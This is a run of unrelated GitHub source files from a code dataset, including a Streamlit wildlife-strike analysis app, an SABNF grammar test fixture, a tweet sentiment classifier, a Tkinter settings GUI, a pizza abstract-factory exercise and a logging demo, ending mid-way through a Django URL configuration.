air_tab_3:\n        temp_df = df[df.DAMAGE_LEVEL.isin(['Substantial', 'Destroyed'])]\n        hundred_most_ws_airports = [\n            i[0] for i in Counter(temp_df[temp_df.AIRPORT != 'UNKNOWN'].AIRPORT.to_list()).most_common(100)\n        ]\n        st.write('#### Number of Strikes at top 100 Airports with Damage Level Substantial or Destroyed')\n        chart_7 = alt.Chart(temp_df[temp_df.AIRPORT.isin(hundred_most_ws_airports)]).mark_bar(size=10).encode(\n            x='AIRPORT:N',\n            y='count()',\n            color='DAMAGE_LEVEL:N',\n        ).properties(\n            width=1500,\n            height=500\n        )\n        st.altair_chart(chart_7, use_container_width=True)\n\n    with air_tab_4:\n        st.write(\n            '''\n            ##### Damage level through the years.\n            '''\n        )\n        temp_df = df[['INCIDENT_YEAR', 'DAMAGE_LEVEL']].groupby('INCIDENT_YEAR').agg(\n            no_damage=('DAMAGE_LEVEL', lambda x: Counter(x)['No_Damage']),\n            minor_damage=('DAMAGE_LEVEL', lambda x: Counter(x)['Minor']),\n            substantial_damage=('DAMAGE_LEVEL', lambda x: Counter(x)['Substantial']),\n            destroyed=('DAMAGE_LEVEL', lambda x: Counter(x)['Destroyed'])\n        ).reset_index()\n        temp_df = temp_df.melt(id_vars=['INCIDENT_YEAR'], value_vars=['no_damage', 'minor_damage', 'substantial_damage', 'destroyed'])\n        chart_8 = alt.Chart(temp_df).mark_line().encode(\n            alt.X('INCIDENT_YEAR', axis=alt.Axis(format='%Y')),\n            y='value:Q',\n            color='variable:N'\n        )\n        st.altair_chart(chart_8, use_container_width=True)\n\n    with air_tab_5:\n        st.write(\n            '''\n            ##### Airports with greatest Cost of Repairs\n            '''\n        )\n        temp_df = df.groupby('AIRPORT').agg(\n            Cost_of_Repairs=('COST_REPAIRS', 'sum')\n        ).reset_index()\n        temp_df = temp_df.sort_values(by='Cost_of_Repairs', ascending=False)\n        chart_8_1 = alt.Chart(temp_df.iloc[:100, :]).mark_bar(size=10).encode(\n            x='AIRPORT',\n            y='Cost_of_Repairs',\n        ).interactive()\n        st.altair_chart(chart_8_1, use_container_width=True)\n\n    with air_tab_6:\n        st.write(\n            '''\n            ##### Airline with greatest Cost of Repairs\n            '''\n        )\n        temp_df = df.groupby('OPERATOR').agg(\n            Cost_of_Repairs=('COST_REPAIRS', 'sum')\n        ).reset_index()\n        temp_df = temp_df.sort_values(by='Cost_of_Repairs', ascending=False)\n        chart_8_2 = alt.Chart(temp_df.iloc[:100, :]).mark_bar(size=10).encode(\n            x='OPERATOR',\n            y='Cost_of_Repairs',\n        ).interactive()\n        st.altair_chart(chart_8_2, use_container_width=True)\n\n    with air_tab_7:\n        st.write(\n            '''\n            ##### Cost of Repairs through the years\n            '''\n        )\n        temp_df = df.groupby('INCIDENT_YEAR').agg(\n            Cost_of_Repairs=('COST_REPAIRS', 'sum')\n        ).reset_index()\n        chart_8_3 = alt.Chart(temp_df).mark_line().encode(\n            alt.X('INCIDENT_YEAR', axis=alt.Axis(format='%Y')),\n            y='Cost_of_Repairs:Q',\n        ).interactive()\n        st.altair_chart(chart_8_3, use_container_width=True)\nelif analysis_1 == 'Phase of Flight':\n    st.write(\n        '''\n        ### Phase of Flight Analysis\n        '''\n    )\n    # phase of flight with with number of birds and damage level analysis\n    ph_tab_1, ph_tab_2, ph_tab_3 = st.tabs(\n        [\n            'PHASE_OF_FLIGHT Counts', \n            'Phase of Flight with Number of birds struck',\n            'Phase of flight with number of birds struct and damage level',\n        ]\n    )\n    temp_df = df.dropna(subset=['PHASE_OF_FLIGHT', 'NUM_STRUCK', 'DAMAGE_LEVEL'])\n    with ph_tab_1:\n        st.write('#### Phase of Flight')\n        chart_9 = alt.Chart(temp_df).mark_bar().encode(\n            x='PHASE_OF_FLIGHT:N',\n            y='count()',\n        ).properties(\n            width=1500,\n            height=500\n        ).interactive()\n        st.altair_chart(chart_9, use_container_width=True)\n\n    with ph_tab_2:\n        st.write('#### Phase of Flight with Number of birds struck')\n        chart_10 = alt.Chart(temp_df).mark_bar().encode(\n            x='PHASE_OF_FLIGHT:N',\n            y='count()',\n            color='NUM_STRUCK'\n        ).properties(\n            width=1500,\n            height=500\n        ).interactive()\n        st.altair_chart(chart_10, use_container_width=True)\n\n\n    with ph_tab_3:\n        st.write('#### Phase of Flight with Num of Birds and Damage Level')\n        chart_11 = alt.Chart(temp_df).mark_bar().encode(\n            x='PHASE_OF_FLIGHT:N',\n            y='count()',\n            color='NUM_STRUCK',\n            column='DAMAGE_LEVEL'\n        ).interactive()\n        st.altair_chart(chart_11)\n\n    st.write(\n        '''\n        #### Observations :\n        1)\n        2) \n        3)\n        '''\n    ) \nelse:\n    st.write('You did not select anything.')\n\nst.write(\n    '''\n    #### Which analysis would you like to dive deeper:\n    '''\n)\nanalysis_2 = st.radio(\n    'Which analysis would you like to dive deeper:',\n    ('None', 'Precipitation and Sky', 'Speed'),\n    horizontal=True, label_visibility='hidden'\n)\n\nif analysis_2 == \"Precipitation and Sky\":\n    # PRECIPATION AND SKY ANALYSIS\n    st.write(\n        '''\n        #### Precipitation and Sky Analysis\n        '''\n    )\n    ps_tab_1, ps_tab_2 = st.tabs(\n        [\n            'Precipitation with Damage Level and Warning status',\n            'Sky with Damage Level and Warning status'\n\n        ]\n    )\n    with ps_tab_1:\n        st.write('##### Precipitaton with Damage Level and Warning Status')\n        temp_df = df.dropna(subset=['PRECIPITATION', 'WARNED', 'DAMAGE_LEVEL'])\n        chart_12 = alt.Chart(temp_df).mark_bar().encode(\n            x='PRECIPITATION:N',\n            y='count()',\n            color='WARNED',\n            column='DAMAGE_LEVEL'\n        ).properties(\n            width=300,\n            height=500\n        ).interactive()\n        st.altair_chart(chart_12, use_container_width=False)\n\n    with ps_tab_2:\n        st.write('#### Sky with Damage Level and Warning Status')\n        temp_df = df.dropna(subset=['PRECIPITATION', 'WARNED', 'DAMAGE_LEVEL'])\n        chart_13 = alt.Chart(temp_df).mark_bar().encode(\n            x='SKY:N',\n            y='count()',\n            color='WARNED',\n            column='DAMAGE_LEVEL'\n        ).properties(\n            width=300,\n            height=500\n        ).interactive()\n        st.altair_chart(chart_13, use_container_width=False)\nelif analysis_2 == \"Speed\":\n    # Speed Analysis\n    st.write(\n        '''\n        #### SPEED Analysis\n        '''\n    )\n    sp_tab_1, sp_tab_2, sp_tab_3, sp_tab_4, sp_tab_5 = st.tabs(\n        [\n            'Speed and Type Of Engine', 'Speed and Number of Engines',\n            'Speed with Type of Engine and Precipitation',\n            'Speed with Damage Level and Type of Engines',\n            'Speed with Warning Status'\n        ]\n    )\n\n    with sp_tab_1:\n        st.write('#### Speed and Type of Engine')\n        temp_df = df.dropna(subset=['SPEED', 'TYPE_ENG'])\n        chart_14 = alt.Chart(temp_df).mark_boxplot().encode(\n            alt.Y(\"SPEED:Q\"),\n            x='TYPE_ENG:N'\n        ).interactive()\n        st.altair_chart(chart_14, use_container_width=True)\n\n\n    with sp_tab_2:\n        st.write('#### Speed and Number of Engine')\n        temp_df = df.dropna(subset=['SPEED', 'NUM_ENGS'])\n        chart_14_1 = alt.Chart(temp_df).mark_boxplot().encode(\n            alt.Y(\"SPEED:Q\"),\n            x='NUM_ENGS:N'\n        ).interactive()\n        st.altair_chart(chart_14_1, use_container_width=True)\n\n    with sp_tab_3:\n        st.write('#### Speed with Precipitation and Number of Engines')\n        temp_df = df.dropna(subset=['PRECIPITATION', 'NUM_ENGS', 'SPEED'])\n        chart_15 = alt.Chart(temp_df).mark_boxplot().encode(\n            alt.Y(\"SPEED:Q\"),\n            x='PRECIPITATION:N',\n            column='NUM_ENGS'\n        ).interactive()\n        st.altair_chart(chart_15, use_container_width=False)\n\n\n    with sp_tab_4:\n        st.write('#### Speed with Damage Level and Type of Engines')\n        temp_df = df.dropna(subset=['SPEED', 'TYPE_ENG', 'DAMAGE_LEVEL'])\n        chart_16 = alt.Chart(temp_df).mark_boxplot().encode(\n            alt.Y(\"SPEED:Q\"),\n            x='DAMAGE_LEVEL:N',\n            column='TYPE_ENG'\n        ).interactive()\n        st.altair_chart(chart_16, use_container_width=False)\n\n    with sp_tab_5:\n        st.write('#### Speed with Warning Status')\n        temp_df = df.dropna(subset=['SPEED', 'WARNED'])\n        chart_17 = alt.Chart(temp_df).mark_boxplot().encode(\n            alt.Y(\"SPEED:Q\"),\n            x='WARNED:N',\n        ).interactive()\n        st.altair_chart(chart_17, use_container_width=True)\n\n    col1, col2 = st.columns(2)\n    with col1:\n        st.write(\n            '''#### Speed and Height Jointplot with Damage Level'''\n        )\n        temp_df = df.dropna(subset=['SPEED', 'HEIGHT', 'DAMAGE_LEVEL'])\n        chart_18 = altair_jointplot_speed_and_height(temp_df, 'DAMAGE_LEVEL', opacity=0.6)\n        st.altair_chart(chart_18, use_container_width=True)\n\n    with col2:\n        st.write(\n            '''#### Speed and Height Jointplot with Warning Status'''\n        )\n        temp_df = df.dropna(subset=['SPEED', 'HEIGHT', 'WARNED'])\n        chart_19 = altair_jointplot_speed_and_height(temp_df, 'WARNED', opacity=0.8)\n        st.altair_chart(chart_19, use_container_width=True)\nelse:\n    st.write('You did not select anything')\n\n\nst.write(\n    '''\n    #### Correlations and HeatMaps\n    '''\n)\nanalysis_3 = st.radio(\n    'Interested in some Correlation Heat Maps ?',\n    ('No', 'Yes'), horizontal=True, label_visibility='hidden'\n)\n\nif analysis_3 == 'Yes':\n    # let user select the columns\n    st.write(\n        '''\n        ##### You can select the columns if you like :)\n        '''\n    )\n    options_for_correlation = st.multiselect(\n        '',\n        [\n            'DAM_ENG1', 'DAM_ENG2', 'DAM_ENG3', 'DAM_ENG4', 'DAM_FUSE', 'DAM_LG', 'DAM_LGHTS', \n            'DAM_NOSE', 'DAM_OTHER', 'DAM_PROP', 'DAM_RAD', 'DAM_TAIL', 'DAM_WINDSHLD', 'DAM_WING_ROT', \n            'STR_ENG1', 'STR_ENG2', 'STR_ENG3', 'STR_ENG4', 'STR_FUSE', 'STR_LG', 'STR_LGHTS', 'STR_NOSE',\n             'STR_OTHER', 'STR_PROP', 'STR_RAD', 'STR_TAIL', 'STR_WINDSHLD', 'STR_WING_ROT'\n        ],\n        [\n            'DAM_ENG1', 'DAM_ENG2', 'DAM_FUSE', 'DAM_LG', 'DAM_LGHTS', \n            'DAM_NOSE', 'DAM_PROP', 'DAM_RAD', 'DAM_TAIL', 'DAM_WINDSHLD',\n            'STR_ENG1', 'STR_ENG2', 'STR_FUSE', 'STR_LG', 'STR_LGHTS', 'STR_NOSE',\n            'STR_PROP', 'STR_RAD', 'STR_TAIL', 'STR_WINDSHLD'\n        ]\n    )\n    chart_20 = get_correlation_graph(df, options_for_correlation)\n    st.altair_chart(chart_20, use_container_width=False)\nelse:\n    st.write('Ohkay. As you wish.')\n","repo_name":"kuldeep7688/wildlife_strikes_analysis","sub_path":"application_code.py","file_name":"application_code.py","file_ext":"py","file_size_in_byte":19692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"36178237716","text":"rules = ({'name': 'HTML',\n  'lower': 'html',\n  'index': 0,\n  'line': 0,\n  'is_bkru': False,\n  'is_bkrr': False,\n  'has_bkrr': True,\n  'opcodes': ({'type': 2, 'children': (1, 2, 3, 4, 5, 7, 8, 9, 10)},\n              {'type': 7, 'string': (60,)},\n              {'type': 4, 'index': 1},\n              {'type': 11, 'empty': False, 'index': 0},\n              {'type': 7, 'string': (62,)},\n              {'type': 3, 'min': 0, 'max': 9223372036854775807},\n              {'type': 4, 'index': 0},\n              {'type': 7, 'string': (60, 47)},\n              {'type': 14,\n               'name': 'tag-name',\n               'lower': 'tag-name',\n               'bkr_case': 603,\n               'bkr_mode': 602,\n               'is_udt': False,\n               'empty': None,\n               'index': 1},\n              {'type': 14,\n               'name': 'u_digits',\n               'lower': 'u_digits',\n               'bkr_case': 603,\n               'bkr_mode': 602,\n               'is_udt': True,\n               'empty': False,\n               'index': 0},\n              {'type': 7, 'string': (62,)})},\n {'name': 'TAG-name',\n  'lower': 'tag-name',\n  'index': 1,\n  'line': 1,\n  'is_bkru': False,\n  'is_bkrr': True,\n  'has_bkrr': False,\n  'opcodes': ({'type': 4, 'index': 2},)},\n {'name': 'alpha',\n  'lower': 'alpha',\n  'index': 2,\n  'line': 2,\n  'is_bkru': False,\n  'is_bkrr': False,\n  'has_bkrr': False,\n  'opcodes': ({'type': 3, 'min': 1, 'max': 9223372036854775807},\n              {'type': 1, 'children': (2, 3)},\n              {'type': 5, 'min': 97, 'max': 122},\n              {'type': 5, 'min': 65, 'max': 90})})\n\n# UDTS\nudts = ({'name': 'u_digits',\n  'lower': 'u_digits',\n  'index': 0,\n  'is_bkru': False,\n  'is_bkrr': True,\n  'empty': False},)\n\nhas_bkru = False\nhas_bkrr = True\n\ndef to_string():\n    '''Displays the original SABNF syntax.'''\n    sabnf = \"\"\n    sabnf += \"HTML     = \\\"<\\\" tag-name u_digits \\\">\\\" *HTML \\\"</\\\" \\\\%s%rtag-name \\\\%s%ru_digits \\\">\\\"\\n\"\n    sabnf += \"TAG-name = alpha\\n\"\n    sabnf += \"alpha    = 1*(%d97-122/%d65-90)\\n\"\n    return sabnf\n\n","repo_name":"ldthomas/apg-py","sub_path":"tests/grammars/recursive_html_udt.py","file_name":"recursive_html_udt.py","file_ext":"py","file_size_in_byte":2053,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"41545834221","text":"import fjlc.classifier.classifier_options as classifier_options\nimport fjlc.classifier.sentence.lexical_parser as lexical_parser\nfrom fjlc.lexicon.container.token_trie import TokenTrie\nfrom fjlc.utils.reader.data_set_reader import Classification\n\n\ndef propagate_negation(lexical_tokens, index):\n    negation_scope_length = classifier_options.get_variable(classifier_options.Variable.NEGATION_SCOPE_LENGTH)\n    for i in range(index + 1, int(min(index + negation_scope_length, len(lexical_tokens)))):\n        lexical_tokens[i].set_in_negated_context(True)\n        if lexical_tokens[i].is_at_the_end_of_sentence():\n            break\n\n\ndef intensify_next(lexical_tokens, index, intensification):\n    if not lexical_tokens[index].is_at_the_end_of_sentence():\n        lexical_tokens[index + 1].intensify_token(intensification)\n\n\nclass Classifier:\n    def __init__(self, lexicon, filters=None):\n        self.lexicon = lexicon\n        self.filters = filters\n        self.phrase_tree = TokenTrie(lexicon.get_subjective_words())\n\n    def classify(self, tweet):\n        \"\"\"\n        Classifies the tweet into one of three classes (negative, neutral or positive) depending on the sentiment value\n        of the tweet and the thresholds specified in the classifier_options\n\n        :param tweet: String tweet to classify\n        :return: Sentiment classification (negative, neutral or positive)\n        \"\"\"\n        sentiment_value = self.calculate_sentiment(tweet)\n\n        return Classification.classify_from_thresholds(sentiment_value,\n                                                       classifier_options.get_variable(\n                                                           classifier_options.Variable.CLASSIFICATION_THRESHOLD_LOWER),\n                                                       classifier_options.get_variable(\n                                                           classifier_options.Variable.CLASSIFICATION_THRESHOLD_HIGHER))\n\n    def calculate_sentiment(self, tweet):\n        if self.filters is not None:\n            tweet = self.filters.apply(tweet)\n\n        lexical_tokens = lexical_parser.lexically_parse_tweet(tweet, self.phrase_tree)\n        for i in range(len(lexical_tokens)):\n            token = lexical_tokens[i]\n            phrase = token.get_phrase()\n\n            if self.lexicon.has_token(phrase):\n                token.set_lexical_value(self.lexicon.get_token_polarity(phrase))\n\n            elif classifier_options.is_negation(phrase):\n                propagate_negation(lexical_tokens, i)\n\n            elif classifier_options.is_intensifier(phrase):\n                intensify_next(lexical_tokens, i, classifier_options.get_intensifier_value(phrase))\n\n        return sum(map(lambda t: t.get_sentiment_value(), lexical_tokens))\n","repo_name":"draperunner/fjlc","sub_path":"fjlc/classifier/classifier.py","file_name":"classifier.py","file_ext":"py","file_size_in_byte":2756,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"13797615438","text":"def Plus_Minus(n,li):\r\n    positive = sum(i>0 for i in li)\r\n    negative = sum(i<0 for i in li)\r\n    zero = sum(i==0 for i in li)\r\n    print('%0.6f'%(positive/n))\r\n    print('%0.6f'%(negative/n))\r\n    print('%0.6f'%(zero/n))\r\nif __name__ == '__main__':\r\n    n = float(input())\r\n    li = [float(j) for j in input().split()]\r\n    Plus_Minus(n,li)\r\n","repo_name":"kashemofficial/Problem-Solving","sub_path":"Hackerrank/Algorithms/Warmup/Plus Minus.py","file_name":"Plus Minus.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"73607198088","text":"\"\"\"Import Modules\"\"\"\nfrom tkinter import *\nimport json\nfrom tkinter import messagebox\n\n\"\"\"Required Functions\"\"\"\n\n\ndef change_time(config):\n    def submit_active():\n        time_interval_info_active = float(intro_active_entry.get())\n\n        with open(\"./config.json\", \"w\") as jsonObj:\n            # config = json.load(jsonObj)\n            config[\"active\"] = time_interval_info_active\n            # print(config)\n            print(json.dumps(config))\n            jsonObj.seek(0)\n            jsonObj.truncate()\n            jsonObj.write(json.dumps(config))\n\n        intro_active_entry.delete(0, END)\n\n        messagebox.showinfo('Updated', 'Time Interval Updated!')\n\n    def submit_sleep():\n        time_interval_info_sleep = float(intro_sleep_entry.get())\n        with open(\"./config.json\", \"r+\") as jsonObj:\n            # config = json.load(jsonObj)\n            config[\"sleep\"] = time_interval_info_sleep\n            print(config)\n            print(json.dumps(config))\n            jsonObj.seek(0)\n            jsonObj.truncate()\n            jsonObj.write(json.dumps(config))\n\n        intro_sleep_entry.delete(0, END)\n\n        messagebox.showinfo('Updated', 'Time Interval Updated!')\n\n    def change_active():\n        active.pack(fill=\"both\", expand=1)\n        sleep.pack_forget()\n\n    def change_sleep():\n        sleep.pack(fill=\"both\", expand=1)\n        active.pack_forget()\n\n    \"\"\"Adding required settings for window size\"\"\"\n    root = Tk()\n    root.geometry(\"600x500\")\n    root.resizable(False, False)\n    root.title(\"Edit Time Settings\")\n    root.iconbitmap('image\\computer_icon.ico')\n\n    def continue_ahead():\n        root.destroy()\n        print(\"The gui-time box is closed\")\n        return\n\n    # Defining different frames\n\n    Frame(root)\n    active = Frame(root)\n    sleep = Frame(root)\n\n    # Headline\n    heading = Label(root, text=\"Time Settings\", font=(\"Rockwell\", 28), bg=\"#02c021\", width=\"300\", height=\"3\",\n                    fg=\"white\")\n    heading.pack()\n\n    \"\"\"Buttons for changing options to edit, i.e. sleep or active time intervals\"\"\"\n    btn1 = Button(root, text=\"ACTIVE\", command=change_active, height=\"1\", font=(\"Rockwell\", 15), bg=\"#02c021\",\n                  fg=\"white\")\n    btn1.place(x=22, y=150)\n\n    btn2 = Button(root, text=\"SLEEP\", command=change_sleep, height=\"1\", font=(\"Rockwell\", 15), bg=\"#02c021\", fg=\"white\")\n    btn2.place(x=500, y=150)\n\n    \"\"\"Adding Input Boxes\"\"\"\n\n    # Sleep Frame\n\n    intro_sleep = Label(sleep, text=\"Interval for which you want the P.C. to sleep(sec):\", fg='#02c021',\n                        font=(\"Bookman Old Style\", 12, \"bold\"))\n    intro_sleep.place(x=50, y=130)\n    intro_sleep_entry = Entry(sleep, bd=3, fg=\"#02c021\", font=(\"Bookman Old Style\", 13))\n    intro_sleep_entry.place(x=70, y=180)\n\n    # Submit Button\n    sub_btn = Button(sleep, text='SUBMIT', command=submit_sleep, border=3, font=(\"Rockwell\", 10, \"bold\"))\n    sub_btn.place(x=70, y=230)\n\n    # Active Frame\n\n    intro_active = Label(active, text=\"Interval for which you want the P.C. to stay awake(min.):\", fg='#02c021',\n                         font=(\"Bookman Old Style\", 12, \"bold\"))\n    intro_active.place(x=50, y=130)\n    intro_active_entry = Entry(active, bd=3, fg=\"#02c021\", font=(\"Bookman Old Style\", 13))\n    intro_active_entry.place(x=70, y=180)\n\n    # Submit Button\n    sub_btn = Button(active, text='SUBMIT', command=submit_active, border=3, font=(\"Rockwell\", 10, \"bold\"))\n    sub_btn.place(x=70, y=230)\n\n    # Continue button to destroy window\n    # Submit Button\n    PhotoImage(file=\"image/img1.png\")\n    b0 = Button(root,\n                text=\"CONTINUE\",\n                command=continue_ahead,\n                height=\"1\",\n                font=(\"Rockwell\", 15),\n                bg=\"#02c021\",\n                fg=\"white\")\n\n    b0.place(x=230, y=150, )\n\n    mainloop()\n","repo_name":"Col-Asy/project-11-Term2","sub_path":"gui_time.py","file_name":"gui_time.py","file_ext":"py","file_size_in_byte":3814,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"5469477660","text":"from tqdm.auto import tqdm\n\nfrom . import Direction, config, models, new_big_phi, utils\nfrom .conf import fallback\n\n\ndef find_all_mice(direction, subsystem, mechanisms=None, progress=None, **kwargs):\n    if mechanisms is None:\n        mechanisms = utils.powerset(subsystem.node_indices, nonempty=True)\n        total = 2 ** len(subsystem.node_indices) - 1\n    if fallback(progress, config.PROGRESS_BARS):\n        try:\n            total = len(mechanisms)\n        except TypeError:\n            pass\n        mechanisms = tqdm(mechanisms, total=total)\n\n    return [\n        subsystem.find_mice(direction, mechanism, **kwargs) for mechanism in mechanisms\n    ]\n\n\ndef combine_ces(ces_cause, ces_effect):\n    distinctions = filter(\n        None,\n        (\n            models.mechanism.Concept(\n                mechanism=distinction_cause.mechanism,\n                cause=distinction_cause,\n                effect=distinction_effect,\n            )\n            for distinction_cause, distinction_effect in zip(\n                ces_cause, ces_effect, strict=True\n            )\n        ),\n    )\n    return models.subsystem.CauseEffectStructure(distinctions)\n\n\ndef compute_combined_ces(subsystem_cause, subsystem_effect, **kwargs):\n    subsystems = {\n        Direction.CAUSE: subsystem_cause,\n        Direction.EFFECT: subsystem_effect,\n    }\n    distinctions = {\n        direction: find_all_mice(direction, subsystems[direction], **kwargs)\n        for direction in Direction.both()\n    }\n    return combine_ces(\n        ces_cause=distinctions[Direction.CAUSE],\n        ces_effect=distinctions[Direction.EFFECT],\n    )\n\n\ndef sia(subsystem_cause, subsystem_effect, **kwargs):\n    return new_big_phi.sia(subsystem_effect, subsystem_cause=subsystem_cause, **kwargs)\n","repo_name":"tnagar72/pyphi","sub_path":"pyphi/backwards.py","file_name":"backwards.py","file_ext":"py","file_size_in_byte":1750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"16"}
+{"seq_id":"40069774819","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n# res_core_data_NOTES.py\n\nimport unittest\nimport sys\nimport os\n\nroot_folder = os.path.abspath(os.path.dirname(os.path.abspath(__file__)) + os.sep + \"..\"  + os.sep + \"aikif\"  ) \nsys.path.append(root_folder)\nimport core_data as mod_core\n\nimport res_core_data_mthd1\nimport res_core_data_mthd2\n\nfname = 'res_core_data.rst'\n\ndata_files = ['sample_raw_data1.csv', 'sample_raw_data2.csv']\n\ndef main():\n    \"\"\"\n    This generates the research document based on the results of \n    the various programs and includes RST imports for introduction\n    and summary\n    \"\"\"\n    print(\"Generating research notes...\")\n    if os.path.exists(fname):\n       os.remove(fname)\n    append_rst('================================================\\n')\n    append_rst('Comparison of Information Aggregation Techniques\\n')\n    append_rst('================================================\\n\\n')\n    append_rst('.. contents::\\n\\n')\n       \n    # import header\n    append_rst(open('res_core_data_HEADER.rst', 'r').read())\n    append_rst(res_core_data_mthd1.get_method())\n    append_rst(res_core_data_mthd2.get_method())\n    \n    # call programs\n    append_rst('Results\\n')\n    append_rst('=====================================\\n')\n    for dat in data_files:\n        append_rst('\\nData File : ' + dat + '\\n---------------------------------------\\n\\n')\n        res_core_data_mthd1.get_results(fname, dat)\n        res_core_data_mthd2.get_results(fname, dat)\n    \n    \n    # import footer\n    append_rst(open('res_core_data_FOOTER.rst', 'r').read())    \n    print(\"Done!\")\n    \ndef append_rst(txt):\n    with open(fname, 'a') as f:\n        f.write(txt)\n    \nmain()","repo_name":"acutesoftware/AIKIF","sub_path":"scripts/res_core_data_NOTES.py","file_name":"res_core_data_NOTES.py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"16"}
+{"seq_id":"71138224968","text":"#! python3\n# -*- coding: utf-8 -*-\n\nfrom abc import ABCMeta, abstractmethod\n\nclass Pizza(metaclass=ABCMeta):\n    @abstractmethod\n    def __init__(self):\n        self._name = \"Nieznana pizza\"\n        self._dough = None\n        self._sauce = None\n        self._cheese = None\n        self._veggie = None\n        self._meat = None\n        self._seafood = None\n\n    @property\n    def name(self):\n        return self._name\n\n    def prepare(self):\n        print(\"|{0:<68}|\".format(\"> Przygotowanie -- AF\"))\n\n        if self._dough is not None:\n            print(\"|{0:<68}|\".format(\"-> Wyrabianie ciasta\"))\n            print(\"|{0:<68}|\".format(\"--> {0}\".format(self._dough)))\n\n        if self._sauce is not None:\n            print(\"|{0:<68}|\".format(\"-> Dodawanie sosu\"))\n            print(\"|{0:<68}|\".format(\"--> {0}\".format(self._sauce)))\n\n        if self._cheese is not None:\n            print(\"|{0:<68}|\".format(\"-> Dodawanie sera\"))\n            print(\"|{0:<68}|\".format(\"--> {0}\".format(self._cheese)))\n\n        if self._veggie is not None:\n            print(\"|{0:<68}|\".format(\"-> Dodawanie warzyw\"))\n            for i in self._veggie:\n                print(\"|{0:<68}|\".format(\"--> {0}\".format(i)))\n\n        if self._meat is not None:\n            print(\"|{0:<68}|\".format(\"-> Dodawanie mięsa\"))\n            print(\"|{0:<68}|\".format(\"--> {0}\".format(self._meat)))\n\n        if self._seafood is not None:\n            print(\"|{0:<68}|\".format(\"-> Dodawanie owoców morza\"))\n            print(\"|{0:<68}|\".format(\"--> {0}\".format(self._seafood)))\n\n    def bake(self):\n        print(\"|{0:<68}|\".format(\"> Pieczenie przez 25 minut w 180 C\"))\n\n    def cut(self):\n        print(\"|{0:<68}|\".format(\"> Krojenie pizzy w diagonalne kawałk\"))\n\n    def box(self):\n        print(\"|{0:<68}|\".format(\"> Pakowanie pizzy do firmowego opakowania PizzaStore\"))\n\n    def __str__(self):\n        return self._name\n\n\nclass CheesePizza(Pizza):\n    def __init__(self, ingredient):\n        super().__init__()\n        self._ingredient = ingredient\n\n    def prepare(self):\n        self._dough = self._ingredient.create_dough()\n        self._cheese = self._ingredient.create_cheese()\n        self._sauce = self._ingredient.create_sauce()\n        super().prepare()\n\n\nclass ClamPizza(Pizza):\n    def __init__(self, ingredient):\n        super().__init__()\n        self._ingredient = ingredient\n\n    def prepare(self):\n        self._dough = self._ingredient.create_dough()\n        self._cheese = self._ingredient.create_cheese()\n        self._sauce = self._ingredient.create_sauce()\n        self._seafood = self._ingredient.create_seafood()\n        super().prepare()\n\n\nclass PepperoniPizza(Pizza):\n    def __init__(self, ingredient):\n        super().__init__()\n        self._ingredient = ingredient\n\n    def prepare(self):\n        self._dough = self._ingredient.create_dough()\n        self._cheese = self._ingredient.create_cheese()\n        self._sauce = self._ingredient.create_sauce()\n        self._veggie = self._ingredient.create_veggie()\n        self._meat = self._ingredient.create_meat()\n        super().prepare()\n\n\nclass VeggiePizza(Pizza):\n    def __init__(self, ingredient):\n        super().__init__()\n        self._ingredient = ingredient\n\n    def prepare(self):\n        self._dough = self._ingredient.create_dough()\n        self._cheese = self._ingredient.create_cheese()\n        self._sauce = self._ingredient.create_sauce()\n        self._veggie = self._ingredient.create_veggie()\n        super().prepare()","repo_name":"DanielMrowca/ZTPO","sub_path":"Lab5/abstract_factory/pizza.py","file_name":"pizza.py","file_ext":"py","file_size_in_byte":3482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"19640217247","text":"#!/usr/bin/env python\n# -*-coding:utf8-*-\n# __author__ = \"willian\"\n\nimport logging\nfrom logging import handlers\n\n# create logger\nlogger = logging.getLogger('TEST-LOG')\nlogger.setLevel(logging.ERROR)\n\n# create console handler and set level to debug\nch = logging.StreamHandler()\nch.setLevel(logging.INFO)\n\n# create file handler and set level to warning\n# fh = handlers.TimedRotatingFileHandler(\"access.log\",when=\"S\",interval=5,backupCount=3)\nfh = handlers.RotatingFileHandler(\"access.log\", maxBytes=4, backupCount=2)\nfh.setLevel(logging.WARNING)\n\n# create formatter\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n\n# add formatter to ch and fh\nch.setFormatter(formatter)\nfh.setFormatter(formatter)\n\n# add ch and fh to logger\nlogger.addHandler(ch)\nlogger.addHandler(fh)\n\n# 'application' code\nlogger.debug('debug message')\nlogger.info('info message')\nlogger.warn('warn message')\nlogger.error('error message')\nlogger.critical('critical message')\n","repo_name":"willianflasky/growup","sub_path":"python/day05/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"72834537927","text":"from django.urls import path\r\nfrom . import views\r\n\r\nurlpatterns =[\r\n    path('',views.chooseproject,name='chooseproject'),\r\n    path('homepage1',views.homepage1,name='homepage1'),\r\n    path('activestudent',views.activestudent,name='activestudent'),\r\n    path('homepage',views.homepage,name='homepage'),\r\n    path('page1',views.page1,name='page1'),\r\n    path('page2',views.page2, name='page2'),\r\n    path('page3',views.page3,name='page3'),\r\n    path('page4',views.page4, name='page4'),\r\n    path('page5',views.page5,name='page5'),\r\n    path('cs',views.cs,name='cs'),\r\n    path('cscourse',views.cscourse,name='cscourse'),\r\n    path('ds',views.ds,name='ds'),\r\n    path('dscourse',views.dscourse, name='dscourse'),\r\n    path('generalcourse',views.generalcourse,name='generalcourse'),\r\n    path('IS',views.IS, name='is'),\r\n    path('iscourse',views.iscourse,name='iscourse'),\r\n    path('it',views.it, name='it'),\r\n    path('itcourse',views.itcourse,name='itcourse'),\r\n    path('delete/<int:id>',views.delete, 